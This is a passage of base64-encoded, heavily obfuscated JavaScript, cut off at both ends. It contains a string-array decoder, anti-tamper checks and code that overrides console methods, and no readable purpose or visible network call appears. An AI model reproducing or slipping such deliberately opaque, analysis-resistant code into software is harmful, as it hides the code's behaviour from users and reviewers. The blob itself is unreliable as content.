tb1FsRyIsIlc1UmRObWt1bExlIiwiVzRxNGE4b3dXN3UiLCJ4TFJkR1hYVSIsIndTa2hhOGtYYkciLCJvbWtKRUswYSIsIldQRDVGQ2tTcVciLCJlWDBSVzRTIiwiV1JGZEhtb2tXNGliIiwia0NvSVdPZGRLQ29HIiwidXZOZEdjTGgiLCJXUDhvVzc5RFc1VyIsIm1Tb1dXUUpkUG1vKyIsImlTa3FEbW9UVzVtIiwiVzY0akQ4b3ZXN20iLCJXUnBjR1NvdHV2QyIsIldPOWRXUVpjT0NrRiIsIlc2UmRSOGtRZWZDIiwiRjhvSWJJeGNMYSIsInFncGROWUx6IiwibDhvTG9YdSIsImxOWmNOY211IiwiVzRSZFM4a2NscSIsIlc3cXdXT2lRZVciLCJXUEdQakNrTXRXIiwiY21rZHhXaXQiLCJmTjQ0RDhrVyIsIlc3bWxiU29yVzZlIiwiZGZLR0FXIiwiQlNrS1c1cGRHbWtOIiwiV1I4eFc0UDZXNTgiLCJXNGRkUjBWY0phIiwicjAxd1c3MFEiLCJFQ282ZnNwY1FxIiwiVzc0WldSbXNwRyIsIkYwUHdXNjBCIiwiZ0NrSGJlNCIsIlc1cUpoOG90VzVpIiwia1pTdlc0SmNSYSIsInpDa1ZXN0JjUG1vNyIsIlc3MFJGcS9jTFciLCJ4bW9pd3h0ZExhIiwickNrU1dRTmNNSWEiLCJ2Q2tYV1BGY05ZYSIsImttb2hXNjdjTkdDIiwiYkNvSVdPVmRTU29XIiwia2J1b1c0cGNScSIsIlc2cW1XUE9CIiwiRkNvNkVhIiwiV09oY05jdGRIVyIsIlc2bVZBSWhjTlciLCJrU2tmaWZwZEtXIiwiakNrdW5IRzUiLCJDOGtQV1FaY09YRyIsInltbzdxbWtaIiwiRDhrYmNaYSIsIkE4a01XNUJjUzhvdSIsIldRSmNMR3RkVFNvNiIsIlc2eW5BYVpjTkciLCJnU2toZWZsZFJhIl07cmV0dXJuKHdpPWZ1bmN0aW9uKCl7cmV0dXJuIHR9KSgpfSFmdW5jdGlvbih0LGUpe2Z1bmN0aW9uIG4odCxlLG4scixvKXtyZXR1cm4gTmkobi0gLTg2NCxlKX1mdW5jdGlvbiByKHQsZSxuLHIsbyl7cmV0dXJuIE5pKG8tNDE5LG4pfWZ1bmN0aW9uIG8odCxlLG4scixvKXtyZXR1cm4gTmkoby0gLTEwNCx0KX1mb3IodmFyIGE9d2koKTs7KXRyeXtpZig2NTA5NDA9PT1wYXJzZUludChuKDAsIiZjRnoiLC00NTQpKS8xKy1wYXJzZUludChuKDAsIm9PQkYiLC0zMTIpKS8yKigtcGFyc2VJbnQobigwLCJ5Q0ZbIiwtMjI0KSkvMykrLXBhcnNlSW50KG8oIlo3YmQiLDAsMCwwLDQzMikpLzQrLXBhcnNlSW50KG8oIm9PQkYiLDAsMCwwLDQ0MSkpLzUrcGFyc2VJbnQocigwLDAsIjNxRm4iLDAsMTAzNCkpLzYqKHBhcnNlSW50KG8oIk5mYnkiLDAsMCwwLDE5OCkpLzcpKy1wYXJzZUludChuKDAsIiRQQWMiLC01NDApKS84K3BhcnNlSW50KHIoMCwwLCJtQjNqIiwwLDc3OSkpLzkpYnJlYWs7YS5wdXNoKGEuc2hpZnQoKSl9Y2F0Y2goaSl7YS5wdXNoKGEuc2hpZnQoKSl9fSgpO3ZhciBPaT1mdW5jdGlvbigpe2Z1bmN0aW9uIHQodCxlLG4scixvKXtyZXR1cm4gTmkodC0gLTcyNSxuKX12YXIgZT17dU5tdXo6cig3NTYsNTI5LCJ2R2goIiw1ODApK3IoNjE3LDc5MywiKU5zdiIsNjM1KSxjYXFpYTpuKC01NjMsInclVTkiLC0zOTIpLFFIWGxxOm4oLTQzLCJOZmJ5IiwtMjA0KSxHYVNpYjpuKC01MywiNSlzSCIsLTIwKSxyc3ZVaTpvKDEwMzIsMTIwNiwiVktTeSIpLGRGeW1QOm4oLTY2NiwidkdoKCIsLTUxMCkrdCgtNDg0LDAsIjUpc0giKSxmWFlOZzpyKDEwMDYsNzkyLCImQG4mIiw3NDIpLGluS1FOOnIoMTAxOCwxMDQwLCJnSUJIIiwxMDA0KSxXbEVrSzpmdW5jdGlvbih0LGUpe3JldHVybiB0PGV9LGZWa0x3Om8oNzQ3LDU0MCwidkdoKCIpK2koMTQzNCwxNTIzLCJlKV5VIiwxNTc4LDE1NjApKyI1IixBWGVlUzpmdW5jdGlvbih0LGUpe3JldHVybiB0KGUpfSx5d2dPWTpmdW5jdGlvbih0LGUpe3JldHVybiB0K2V9LHVqc0pjOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQrZX0sY1VXT1E6aSgxMzI5LDE0MzgsIjFHQkMiLDE4MjYsMTU2OCkrdCgtMjY1LDAsIlZBKHUiKStvKDk4NSwxMjEyLCJdW1VHIikrcig1ODAsNTUzLCImQG4mIiw3MDkpLHVNbVlNOnQoLTQwNywwLCJ2R2goIikrbyg3OTQsMTAyMSwibUIzaiIpK28oOTQ4LDc4MiwiSE1dRyIpK24oLTI1NCwidWJJOCIsLTQ4NSkrcigzMTIsODQwLCJ1Ykk4Iiw1NzEpK3IoNjU3LDQ0NywiTEZFTyIsNTgxKSsiICkiLHhxa0lROmZ1bmN0aW9uKHQpe3JldHVybiB0KCl9LGVvRWpUOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ9PT1lfSxsS1JoazppKDExMjgsMTIzNiwiJFBBYyIsMTE5MywxMjY5KSx1V3BCcjp0KC0zODEsMCwiVkBPRCIpLFRKcktpOmkoMTUzNiwxNTk5LCJnSUJIIiwxNjMyLDEzNjIpLHNqTkdtOnIoOTI5LDk2NSwiXUojNSIsOTcwKSxXUHNTcDpvKDgxNywxMDU5LCJnSUJIIil9O2Z1bmN0aW9uIG4odCxlLG4scixvKXtyZXR1cm4gTmkobi0gLTczNSxlKX1mdW5jdGlvbiByKHQsZSxuLHIsbyl7cmV0dXJuIE5pKHItMzIyLG4pfWZ1bmN0aW9uIG8odCxlLG4scixvKXtyZXR1cm4gTmkodC0zMjYsbil9dmFyIGE9ITA7ZnVuY3Rpb24gaSh0LGUsbixyLG8pe3JldHVybiBOaShvLTkwNixuKX1yZXR1cm4gZnVuY3Rpb24obixjKXtmdW5jdGlvbiBzKHQsZSxuLHIsbyl7cmV0dXJuIGkoMCwwLHIsMCxvLSAtNDI2KX1mdW5jdGlvbiBkKHQsZSxuLHIsYSl7cmV0dXJuIG8odC05MywwLG4pfWZ1bmN0aW9uIHUoZSxuLHIsbyxhKXtyZXR1cm4gdChhLTM4NiwwLHIpfWZ1bmN0aW9uIGwodCxlLG4sbyxhKXtyZXR1cm4gcigwLDAsZSxvLSAtMTE5NSl9dmFyIFc9e2laRFpwOmVbdSgwLDAsInZHaCgiLDAsLTkxKV0saEVnZXY6ZVt1KDAsMCwiM3FGbiIsMCwtMTApXSxFTHBZcjplW2woMCwia2xdaSIsMCwtMzgxKV0sUmZDZ3A6ZVt1KDAsMCwidWJJOCIsMCwyKV0sb01TUkk6ZVtzKDAsMCwwLCJrQXpyIiw5NTcpXSx2V3ZSdDplW2woMCwiKU5zdiIsMCwtNDE4KV0sZXlJZVU6ZVtmKDc4NCw3OTUsImtBenIiLDg3NSldLGtUendmOmVbZCg3MjksMCwiJmNGeiIpXSxXdG1jcjpmdW5jdGlvbih0LG4pe3JldHVybiBlWyhyPS0yMzMsbz0iYnMoKCIsbCgwLG8sMCxyLSAtNTEpKV0odCxuKTt2YXIgcixvfSxSZnVIQzplW2woMCwiZVRlSiIsMCwtMjAwKV0sS2JhYlI6ZnVuY3Rpb24odCxuKXtyZXR1cm4gZVsocj0ic2spXSIsbz0tNDQscygwLDAsMCxyLG8tIC0xMjA4KSldKHQsbik7dmFyIHIsb30sZnZxSkU6ZnVuY3Rpb24odCxuKXtyZXR1cm4gZVsocj0ieUNGWyIsbz0tMjEyLHUoMCwwLHIsMCxvLSAtNDkxKSldKHQsbik7dmFyIHIsb30scG1GUEw6ZnVuY3Rpb24odCxuKXtyZXR1cm4gZVsocj0tNzYsbz0iRnBMQiIsZChyLSAtMTA0MywwLG8pKV0odCxuKTt2YXIgcixvfSxkd2RjYTplW3MoMCwwLDAsIk1NMXEiLDg3MildLEpyenN0OmVbdSgwLDAsIk9eVkAiLDAsMjI2KV0sR2FGUGQ6ZnVuY3Rpb24odCl7cmV0dXJuIGVbKG49InJUYlIiLHI9MTAyNixzKDAsMCwwLG4sci0yMDQpKV0odCk7dmFyIG4scn0sVlZZcVo6ZnVuY3Rpb24odCxuKXtyZXR1cm4gZVsocj01NDgsbz0iMXl0TiIsbCgwLG8sMCxyLTg0MCkpXSh0LG4pO3ZhciByLG99LGVzUUxEOmVbZigxMzIwLDEyMjAsImNYTTEiLDExNjkpXSx0U1ZVbzplW2YoNjIxLDY0MiwiKG1oWyIsNzM1KV0sTWhhVWk6ZnVuY3Rpb24odCxuKXtyZXR1cm4gZVsocj0xNjIsbz0yOCxhPSIkUEFjIixmKHItMjg5LG8tMjQ4LGEsci0gLTYxMSkpXSh0LG4pO3ZhciByLG8sYX0sVmZCdlQ6ZVtsKDAsIlZLU3kiLDAsLTQwNildLHdua3JhOmVbcygwLDAsMCwia2xdaSIsODU1KV19O2Z1bmN0aW9uIGYodCxlLG4scixhKXtyZXR1cm4gbyhyLTEzMCwwLG4pfWlmKGVbZigwLDAsIjNxRm4iLDExMDgpXShlW3MoMCwwLDAsImxjVlMiLDExMzApXSxlW2YoMCwwLCJ1Ykk4Iiw5OTkpXSkpe3ZhciBoPWE/ZnVuY3Rpb24oKXtmdW5jdGlvbiB0KHQsZSxuLHIsbyl7cmV0dXJuIGwoMCx0LDAsby0xNjIwKX1mdW5jdGlvbiBlKHQsZSxuLHIsbyl7cmV0dXJuIGQodC0gLTg5NSwwLHIpfWZ1bmN0aW9uIHIodCxlLG4scixvKXtyZXR1cm4gbCgwLG8sMCxyLTc3MSl9ZnVuY3Rpb24gbyh0LGUsbixyLG8pe3JldHVybiBzKDAsMCwwLG4sci0gLTIzNil9ZnVuY3Rpb24gYSh0LGUsbixyLG8pe3JldHVybiBmKDAsMCxyLG8tNDQyKX1pZihXW3QoIl1bVUciLDAsMCwwLDExNjEpXShXW2EoMCwwLDAsImk3KF4iLDE0OTApXSxXW2EoMCwwLDAsImJzKCgiLDEzODIpXSkpcmV0dXJuITE7aWYoYyl7aWYoIVdbYSgwLDAsMCwiKDhxOSIsMTE4NyldKFdbbygwLDAsIiZPbjkiLDQ2MildLFdbcigwLDAsMCw0MDgsImk3KF4iKV0pKXt2YXIgaT1jW2UoLTIwNywwLDAsIm9PQkYiKV0obixhcmd1bWVudHMpO3JldHVybiBjPW51bGwsaX1mb3IodmFyIHU9V1tvKDAsMCwiXVtVRyIsOTE1KV1bdCgiKHk4ciIsMCwwLDAsMTE2MildKCJ8IiksaD0wOzspe3N3aXRjaCh1W2grK10pe2Nhc2UiMCI6dmFyIG09W1dbdCgiKHk4ciIsMCwwLDAsMTE5NSldLFdbbygwLDAsIkhNXUciLDk2NyldLFdbbygwLDAsImtsXWkiLDc0NCldLFdbYSgwLDAsMCwidyVVOSIsMTE2OCldLFdbYSgwLDAsMCwiKG1oWyIsMTE1MCldLFdbbygwLDAsIiZjRnoiLDcwMildLFdbYSgwLDAsMCwib09CRiIsMTQxMCldXTtjb250aW51ZTtjYXNlIjEiOmZvcih2YXIgcD0wO1dbdCgiQ0V4KCIsMCwwLDAsMTQ0MCldKHAsbVtlKC0yNzgsMCwwLCJtQjNqIikrImgiXSk7cCsrKWZvcih2YXIgaz1XW2EoMCwwLDAsIm1CM2oiLDExNDMpXVtvKDAsMCwiKDhxOSIsNjg4KV0oInwiKSxnPTA7Oyl7c3dpdGNoKGtbZysrXSl7Y2FzZSIwIjp2YXIgdj1fMHgxZWUyMDlbcigwLDAsMCw1NjUsImtsXWkiKSt0KCJOZmJ5IiwwLDAsMCwxMTUyKSsiciJdW28oMCwwLCJvT0JGIiw3MzgpK28oMCwwLCJdSiM1Iiw4MjQpXVtvKDAsMCwiQ1VPaCIsODA2KV0oXzB4NWVmNDM5KTtjb250aW51ZTtjYXNlIjEiOnZhciB5PW1bcF07Y29udGludWU7Y2FzZSIyIjp2W28oMCwwLCIpTnN2Iiw4NDMpK28oMCwwLCIxR0JDIiw1NDUpXT1DW3IoMCwwLDAsMzY4LCJlKV5VIikrdCgiYnMoKCIsMCwwLDAsMTQ3OCldW2UoMjcsMCwwLCJPKSZVIildKEMpO2NvbnRpbnVlO2Nhc2UiMyI6dlt0KCJMRkVPIiwwLDAsMCwxMzU0KStlKDMyLDAsMCwiNSlzSCIpXT1fMHgyYTBjMjRbYSgwLDAsMCwiM3FGbiIsMTM4MyldKF8weDQ1NWYyYyk7Y29udGludWU7Y2FzZSI0Ijp2YXIgQz1TW3ldfHx2O2NvbnRpbnVlO2Nhc2UiNSI6U1t5XT12O2NvbnRpbnVlfWJyZWFrfWNvbnRpbnVlO2Nhc2UiMiI6dmFyIHg7Y29udGludWU7Y2FzZSIzIjp2YXIgUz14W28oMCwwLCJ2R2goIiw1MjIpKyJsZSJdPXhbZSgtMTg4LDAsMCwiMXl0TiIpKyJsZSJdfHx7fTtjb250aW51ZTtjYXNlIjQiOnRyeXt2YXIgYj1XW28oMCwwLCJ1Ykk4Iiw3MzApXShfMHg1YTJlNDIsV1t0KCIoeThyIiwwLDAsMCwxMDMyKV0oV1tvKDAsMCwiTU0xcSIsNTA2KV0oV1thKDAsMCwwLCIoOHE5IiwxMjIxKV0sV1tlKDIzMiwwLDAsIlo3YmQiKV0pLCIpOyIpKTt4PVdbcigwLDAsMCw1MDksIjUkTlUiKV0oYil9Y2F0Y2godyl7eD1fMHgzNDA5Y2V9Y29udGludWV9YnJlYWt9fX06ZnVuY3Rpb24oKXt9O3JldHVybiBhPSExLGh9dmFyIG09XzB4YmY2MWRhP2Z1bmN0aW9uKCl7aWYoXzB4MjNlNDZlKXt2YXIgdD1fMHgyMTI5ZDFbKGU9LTUxNSxuPSI1JE5VIixzKDAsMCwwLG4sZS0gLTE0MzgpKV0oXzB4NWMxNTQsYXJndW1lbnRzKTtyZXR1cm4gXzB4NWIyMWVkPW51bGwsdH12YXIgZSxufTpmdW5jdGlvbigpe307cmV0dXJuIF8weDMxMjk0MD0hMSxtfX0oKShnbG9iYWxUaGlzLChmdW5jdGlvbigpe2Z1bmN0aW9uIHQodCxlLG4scixvKXtyZXR1cm4gTmkoci01OTEsbyl9dmFyIGU9e307ZnVuY3Rpb24gbih0LGUsbixyLG8pe3JldHVybiBOaShyLTg2MSx0KX1mdW5jdGlvbiByKHQsZSxuLHIsbyl7cmV0dXJuIE5pKHItNjU0LGUpfWVbcigxNDExLCJjWE0xIiwxMzM3LDExNTApXT1uKCJNdXJ3IiwwLDAsMTQyMCkrcig5ODMsImJzKCgiLDExNjEsOTQ0KSsiKyQiO3ZhciBvLGEsaT1lO2Z1bmN0aW9uIGModCxlLG4scixvKXtyZXR1cm4gTmkoby0zOTEsbil9cmV0dXJuIE9pW24oIkxGRU8iLDAsMCwxMTQ3KStjKDAsMCwibGNWUyIsMCwxMTAyKV0oKVtjKDAsMCwidWJJOCIsMCw4ODApKyJoIl0oaVtuKCJsY1ZTIiwwLDAsMTMxMyldKVtjKDAsMCwiXVtVRyIsMCw3OTEpKyhvPTE2MzAsYT0iQ0V4KCIsTmkoby05NTMsYSkpXSgpW3QoMCwwLDAsODI2LCJtQjNqIikrbigiMXl0TiIsMCwwLDEyMTEpKyJyIl0oT2kpW2MoMCwwLCIoOHE5IiwwLDFlMykrImgiXShpW3QoMCwwLDAsMTE5OSwiZ0lCSCIpXSl9KSk7ZnVuY3Rpb24gUmkodCxlLG4scixvKXtyZXR1cm4gTmkoby0gLTc0NCxuKX1mdW5jdGlvbiBQaSh0LGUsbixyLG8pe3JldHVybiBOaShlLSAtODQsdCl9T2koKTt2YXIgX2k9ZnVuY3Rpb24oKXtmdW5jdGlvbiB0KHQsZSxuLHIsbyl7cmV0dXJuIE5pKG4tIC0yMzUsZSl9dmFyIGU9e307ZnVuY3Rpb24gbih0LGUsbixyLG8pe3JldHVybiBOaSh0LSAtMjc5LG4pfWZ1bmN0aW9uIHIodCxlLG4scixvKXtyZXR1cm4gTmkoby0gLTUyMixuKX1mdW5jdGlvbiBvKHQsZSxuLHIsbyl7cmV0dXJuIE5pKHQtIC05MjQsbyl9ZnVuY3Rpb24gYSh0LGUsbixyLG8pe3JldHVybiBOaShvLSAtNDg0LG4pfWVbcigtMjk5LDczLCJ5Q0ZbIiwtODEsLTgyKV09ZnVuY3Rpb24odCxlKXtyZXR1cm4gdD09PWV9LGVbbig0MDYsNDcwLCJsY1ZTIildPXIoLTUsMzQ3LCJPKSZVIiwxMDcsODApLGVbbigyNDcsNDU3LCJrQXpyIildPXQoMCwiT15WQCIsNDU1KSxlW3QoMCwiZSleVSIsMTEyKV09ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCE9PWV9LGVbcigxMTEsMTE4LCJWS1N5IiwxMTUsMTA0KV09bygtMTkxLC0xMjEsLTQ0NiwtNDExLCJrQXpyIiksZVtyKC0zMTYsLTMwMCwidWJJOCIsMzAsLTE4NildPWEoLTQ2MywtOTMsIm9PQkYiLC0zOTAsLTIyNCkrYSgtNzksLTIyNywiTU0xcSIsMjAzLC0zMykrcigtMTM2LC0xODksIihtaFsiLC00MjQsLTI4MCksZVtyKDAsMCwiTU0xcSIsMCwtNTYpXT10KDAsIlo3YmQiLDc5KSsiZXIiLGVbbygtNDYwLC02MTcsLTQ4NiwtNTYzLCJaN2JkIildPXQoMCwiclRiUiIsMTU5KStuKDE3MCwwLCJzayldIikrIjEiLGVbdCgwLCJyVGJSIiwtMSldPWEoLTM4OSwtMTUzLCJ2XnZpIiwtOTUsLTE4NCksZVtyKDAsMCwiTXVydyIsMCwtNTApXT1hKDAsMCwidkdoKCIsMCwxMjApO3ZhciBpPWUsYz0hMDtyZXR1cm4gZnVuY3Rpb24oZSxuKXtmdW5jdGlvbiBzKHQsZSxuLHIsbyl7cmV0dXJuIGEoMCwwLGUsMCxvLTEzNTMpfXZhciBkPXt9O2Z1bmN0aW9uIHUodCxlLG4scixvKXtyZXR1cm4gYSgwLDAsdCwwLG4tIC0zKX1mdW5jdGlvbiBsKGUsbixyLG8sYSl7cmV0dXJuIHQoMCxlLGEtMjkxKX1mdW5jdGlvbiBXKHQsZSxuLHIsYSl7cmV0dXJuIG8oci0xODMsMCwwLDAsdCl9ZnVuY3Rpb24gZih0LGUsbixvLGEpe3JldHVybiByKDAsMCxhLDAsdC0gLTE0OCl9ZFtzKDAsInJUYlIiLDAsMCwxMjQ4KV09aVtzKDAsIig4cTkiLDAsMCwxMzIzKV0sZFtXKCImY0Z6IiwtMzA1LC0yOTEsLTUwOCldPWlbbCgiKG1oWyIsMCwwLDAsNzE5KV0sZFt1KCIoOHE5IiwwLC0xNTIpXT1pW3MoMCwiY1hNMSIsMCwwLDEzOTEpXTt2YXIgaD1kO2lmKGlbZigxOCwwLDAsMCwiKU5zdiIpXShpW3MoMCwiZ0lCSCIsMCwwLDE1NzgpXSxpW3UoIkhNXUciLDAsMTkyKV0pKXJldHVybiBmdW5jdGlvbih0KXt9W2woInNrKV0iLDAsMCwwLDczMSkrcygwLCJWQSh1IiwwLDAsMTEwNSkrInIiXShoW2YoLTIyMCwwLDAsMCwidkdoKCIpXSlbZigtNDQzLDAsMCwwLCJ2R2goIildKGhbcygwLCJvT0JGIiwwLDAsMTA3OSldKTt2YXIgbT1jP2Z1bmN0aW9uKCl7ZnVuY3Rpb24gdCh0LGUsbixyLG8pe3JldHVybiBzKDAsbywwLDAsdC0gLTUwKX1mdW5jdGlvbiByKHQsZSxuLHIsbyl7cmV0dXJuIHUobywwLHItOTEpfWZ1bmN0aW9uIG8odCxlLG4scixvKXtyZXR1cm4gbChvLDAsMCwwLHQtMzg5KX1mdW5jdGlvbiBhKHQsZSxuLHIsbyl7cmV0dXJuIFcodCwwLDAsZS0xMDI4KX1mdW5jdGlvbiBjKHQsZSxuLHIsbyl7cmV0dXJuIHUobywwLGUtNTQzKX1pZihpW2MoMCw0NTgsMCwwLCJsY1ZTIildKGlbdCgxNDI0LDAsMCwwLCJlKV5VIildLGlbYygwLDU4OCwwLDAsInlDRlsiKV0pKWZvcih2YXIgZD1oW3QoMTE2OCwwLDAsMCwiVkEodSIpXVthKCIzcUZuIiw2MTMpXSgifCIpLGY9MDs7KXtzd2l0Y2goZFtmKytdKXtjYXNlIjAiOmtbdCgxMDE2LDAsMCwwLCJDRXgoIikrbyg4MTQsMCwwLDAsIih5OHIiKV09XzB4MmNkNzg0W28oMTE3MSwwLDAsMCwiJmNGeiIpXShfMHg1ZjNmNmQpO2NvbnRpbnVlO2Nhc2UiMSI6XzB4MzExYWVjW3BdPWs7Y29udGludWU7Y2FzZSIyIjprW2MoMCwzMTcsMCwwLCIkUEFjIikrbyg2ODgsMCwwLDAsIiZjRnoiKV09bVtvKDY5MiwwLDAsMCwiWjdiZCIpK3IoMCwwLDAsLTg1LCIxeXROIildW3IoMCwwLDAsLTE5MywiQ0V4KCIpXShtKTtjb250aW51ZTtjYXNlIjMiOnZhciBtPV8weDMwNGQxNFtwXXx8aztjb250aW51ZTtjYXNlIjQiOnZhciBwPV8weDFkNWVmMVtfMHgzZTA0NjBdO2NvbnRpbnVlO2Nhc2UiNSI6dmFyIGs9XzB4MjJiYjYyW2EoInclVTkiLDY3NSkrcigwLDAsMCwxNzMsImUpXlUiKSsiciJdW2EoImUpXlUiLDEwMDgpK2EoIk8pJlUiLDY5NSldW2EoIkhNXUciLDYzOCldKF8weDIwMjBiMCk7Y29udGludWV9YnJlYWt9ZWxzZSBpZihuKXtpZihpW3IoMCwwLDAsMjMzLCJ2XnZpIildKGlbbyg3NDgsMCwwLDAsIjUkTlUiKV0saVtvKDc0OCwwLDAsMCwiNSROVSIpXSkpe3ZhciBnPV8weGZkZTNhOFthKCJPKSZVIiw1MDkpXShfMHgzMDc0MjgsYXJndW1lbnRzKTtyZXR1cm4gXzB4NDRkMjVkPW51bGwsZ312YXIgdj1uW3QoMTA4MiwwLDAsMCwiXVtVRyIpXShlLGFyZ3VtZW50cyk7cmV0dXJuIG49bnVsbCx2fX06ZnVuY3Rpb24oKXt9O3JldHVybiBjPSExLG19fSgpO2Z1bmN0aW9uIE5pKHQsZSl7dmFyIG49d2koKTtyZXR1cm4gTmk9ZnVuY3Rpb24oZSxyKXt2YXIgbz1uW2UtPTE5Nl07aWYodm9pZCAwPT09TmkuZFFJZ0pLKXt2YXIgYT1mdW5jdGlvbih0KXtmb3IodmFyIGUsbixyPSIiLG89IiIsaT1yK2EsYz0wLHM9MDtuPXQuY2hhckF0KHMrKyk7fm4mJihlPWMlND82NCplK246bixjKyslNCk/cis9aS5jaGFyQ29kZUF0KHMrMTApLTEwIT0wP1N0cmluZy5mcm9tQ2hhckNvZGUoMjU1JmU+PigtMipjJjYpKTpjOjApbj0iYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0NTY3ODkrLz0iLmluZGV4T2Yobik7Zm9yKHZhciBkPTAsdT1yLmxlbmd0aDtkPHU7ZCsrKW8rPSIlIisoIjAwIityLmNoYXJDb2RlQXQoZCkudG9TdHJpbmcoMTYpKS5zbGljZSgtMik7cmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChvKX07TmkudklGYWFMPWZ1bmN0aW9uKHQsZSl7dmFyIG4scixvPVtdLGk9MCxjPSIiO2Zvcih0PWEodCkscj0wO3I8MjU2O3IrKylvW3JdPXI7Zm9yKHI9MDtyPDI1NjtyKyspaT0oaStvW3JdK2UuY2hhckNvZGVBdChyJWUubGVuZ3RoKSklMjU2LG49b1tyXSxvW3JdPW9baV0sb1tpXT1uO3I9MCxpPTA7Zm9yKHZhciBzPTA7czx0Lmxlbmd0aDtzKyspaT0oaStvW3I9KHIrMSklMjU2XSklMjU2LG49b1tyXSxvW3JdPW9baV0sb1tpXT1uLGMrPVN0cmluZy5mcm9tQ2hhckNvZGUodC5jaGFyQ29kZUF0KHMpXm9bKG9bcl0rb1tpXSklMjU2XSk7cmV0dXJuIGN9LHQ9YXJndW1lbnRzLE5pLmRRSWdKSz0hMH12YXIgaT1lK25bMF0sYz10W2ldO2lmKGMpbz1jO2Vsc2V7aWYodm9pZCAwPT09TmkuTXBXUm1lKXt2YXIgcz1mdW5jdGlvbih0KXt0aGlzLmdxREFTVz10LHRoaXMueER1UXJUPVsxLDAsMF0sdGhpcy5WVlJMcWc9ZnVuY3Rpb24oKXtyZXR1cm4ibmV3U3RhdGUifSx0aGlzLnN2bnBjVz0iXFx3KyAqXFwoXFwpICp7XFx3KyAqIix0aGlzLnFTekRBeD0iWyd8XCJdLitbJ3xcIl07PyAqfSJ9O3MucHJvdG90eXBlLkZYQ2ZtTj1mdW5jdGlvbigpe3ZhciB0PW5ldyBSZWdFeHAodGhpcy5zdm5wY1crdGhpcy5xU3pEQXgpLnRlc3QodGhpcy5WVlJMcWcudG9TdHJpbmcoKSk/LS10aGlzLnhEdVFyVFsxXTotLXRoaXMueER1UXJUWzBdO3JldHVybiB0aGlzLmxaeEhBbSh0KX0scy5wcm90b3R5cGUubFp4SEFtPWZ1bmN0aW9uKHQpe3JldHVybiBCb29sZWFuKH50KT90aGlzLndUeE94SCh0aGlzLmdxREFTVyk6dH0scy5wcm90b3R5cGUud1R4T3hIPWZ1bmN0aW9uKHQpe2Zvcih2YXIgZT0wLG49dGhpcy54RHVRclQubGVuZ3RoO2U8bjtlKyspdGhpcy54RHVRclQucHVzaChNYXRoLnJvdW5kKE1hdGgucmFuZG9tKCkpKSxuPXRoaXMueER1UXJULmxlbmd0aDtyZXR1cm4gdCh0aGlzLnhEdVFyVFswXSl9LG5ldyBzKE5pKS5GWENmbU4oKSxOaS5NcFdSbWU9ITB9bz1OaS52SUZhYUwobyxyKSx0W2ldPW99cmV0dXJuIG99LE5pKHQsZSl9IWZ1bmN0aW9uKCl7ZnVuY3Rpb24gdCh0LGUsbixyLG8pe3JldHVybiBOaShyLSAtMzY4LG4pfWZ1bmN0aW9uIGUodCxlLG4scixvKXtyZXR1cm4gTmkoby00Njksbil9ZnVuY3Rpb24gbih0LGUsbixyLG8pe3JldHVybiBOaShuLTM3Myx0KX1mdW5jdGlvbiByKHQsZSxuLHIsbyl7cmV0dXJuIE5pKHItIC04MzYsbyl9dmFyIG89e1d1R3FFOnIoMCwwLDAsLTIxNiwiY1hNMSIpK3IoMCwwLDAsLTExNCwiMzJyUSIpKyIrJCIsSVFlRVU6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdD09PWV9LHlGdHB2OnQoMCwwLCIkUEFjIiwyKSxDa0pRbzpyKDAsMCwwLC01ODIsIk9eVkAiKStuKCJyVGJSIiwwLDEwMTYpK24oImk3KF4iLDAsMTA5NykrIikiLGxBc05sOm4oIlpqY2siLDAsMTAwNSkrZSgwLDAsIkNVT2giLDAsMTA1MikrZSgwLDAsInlDRlsiLDAsNjg4KSt0KDAsMCwiUG9vdiIsLTE1MikrZSgwLDAsIlo3YmQiLDAsMTA0NikrcigwLDAsMCwtMzEzLCJdW1VHIikrcigwLDAsMCwtMTc2LCIzMnJRIiksV090QlA6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX0sSlNDUkI6cigwLDAsMCwtMjI2LCI1KXNIIiksTkZzdnI6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCtlfSxGTEpndzpyKDAsMCwwLC0xNzUsInViSTgiKSxwS0ZldzpmdW5jdGlvbih0LGUpe3JldHVybiB0K2V9LFFvU0xSOnQoMCwwLCJzayldIiwtMTIyKSxPcFJUZzpuKCIkUEFjIiwwLDY0NikscWxiWG06dCgwLDAsInJUYlIiLC0xMjQpLG1ia250OmZ1bmN0aW9uKHQpe3JldHVybiB0KCl9LFVVZXVhOmZ1bmN0aW9uKHQsZSxuKXtyZXR1cm4gdChlLG4pfX07b1tuKCJITV1HIiwwLDk0MyldKF9pLHRoaXMsKGZ1bmN0aW9uKCl7ZnVuY3Rpb24gdCh0LGUscixvLGEpe3JldHVybiBuKHIsMCxvLSAtOTY5KX1mdW5jdGlvbiBhKHQsbixyLG8sYSl7cmV0dXJuIGUoMCwwLHQsMCxvLSAtNjU3KX1mdW5jdGlvbiBpKHQsbixyLG8sYSl7cmV0dXJuIGUoMCwwLHIsMCxuLSAtNjE2KX1mdW5jdGlvbiBjKHQsZSxuLG8sYSl7cmV0dXJuIHIoMCwwLDAsby0xMTU2LHQpfWZ1bmN0aW9uIHModCxuLHIsbyxhKXtyZXR1cm4gZSgwLDAsbiwwLG8tIC0xMTQ5KX1pZihvW3MoMCwiNSROVSIsMCwtMjk2KV0ob1tzKDAsInNrKV0iLDAsLTIwMCldLG9bdCgwLDAsIl1bVUciLC0zNjQpXSkpe3ZhciBkPW5ldyBSZWdFeHAob1tjKCJNdXJ3IiwwLDAsNTcxKV0pLHU9bmV3IFJlZ0V4cChvW2EoImxjVlMiLDAsMCwyODcpXSwiaSIpLGw9b1tzKDAsImVUZUoiLDAsLTI5NyldKEVpLG9bdCgwLDAsInViSTgiLC0xMCldKTtpZihkW2koMCwzNDMsInJUYlIiKV0ob1tzKDAsInNrKV0iLDAsLTM5NyldKGwsb1tjKCJlVGVKIiwwLDAsNzgyKV0pKSYmdVt0KDAsMCwiKG1oWyIsNSldKG9bYygidkdoKCIsMCwwLDEwMjEpXShsLG9bcygwLCJaamNrIiwwLC00NzIpXSkpKXtpZighb1tjKCJlVGVKIiwwLDAsNzY2KV0ob1t0KDAsMCwiTXVydyIsMTE0KV0sb1t0KDA